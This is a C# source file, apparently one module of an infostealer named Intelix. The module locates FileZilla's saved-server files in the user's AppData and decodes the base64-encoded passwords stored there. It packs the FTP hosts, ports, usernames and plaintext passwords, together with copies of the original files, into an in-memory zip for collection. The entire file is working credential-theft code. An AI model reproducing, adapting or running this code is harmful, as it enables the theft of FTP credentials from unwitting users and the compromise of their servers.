using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; using Intelix.Helper.Data; namespace Intelix.Targets.Applications; public class FileZilla : ITarget { public void Collect(InMemoryZip zip, Counter counter) { string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\"; string[] array = new string[2] { text + "recentservers.xml", text + "sitemanager.xml" }; if (!File.Exists(array[0]) && !File.Exists(array[1])) { return; } Counter.CounterApplications counterApplications = new Counter.CounterApplications(); counterApplications.Name = "FileZilla"; List list = new List(); string[] array2 = array; foreach (string text2 in array2) { if (!File.Exists(text2)) { continue; } XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(text2); foreach (XmlNode item in xmlDocument.GetElementsByTagName("Server")) { string text3 = item?["Pass"]?.InnerText; if (!string.IsNullOrEmpty(text3)) { string text4 = "ftp://" + item["Host"]?.InnerText + ":" + item["Port"]?.InnerText + "/"; string text5 = item["User"]?.InnerText; string text6 = Encoding.UTF8.GetString(Convert.FromBase64String(text3)); list.Add("Url: " + text4 + "\nUsername: " + text5 + "\nPassword: " + text6); } } string text7 = "FTP/FileZilla/" + Path.GetFileName(text2); zip.AddFile(text7, File.ReadAllBytes(text2)); counterApplications.Files.Add(text2 + " => " + text7); } string text8 = "FTP/FileZilla/Hosts.txt"; counterApplications.Files.Add(text8 ?? ""); zip.AddTextFile(text8, string.Join("\n\n", list.ToArray())); counter.Applications.Add(counterApplications); } }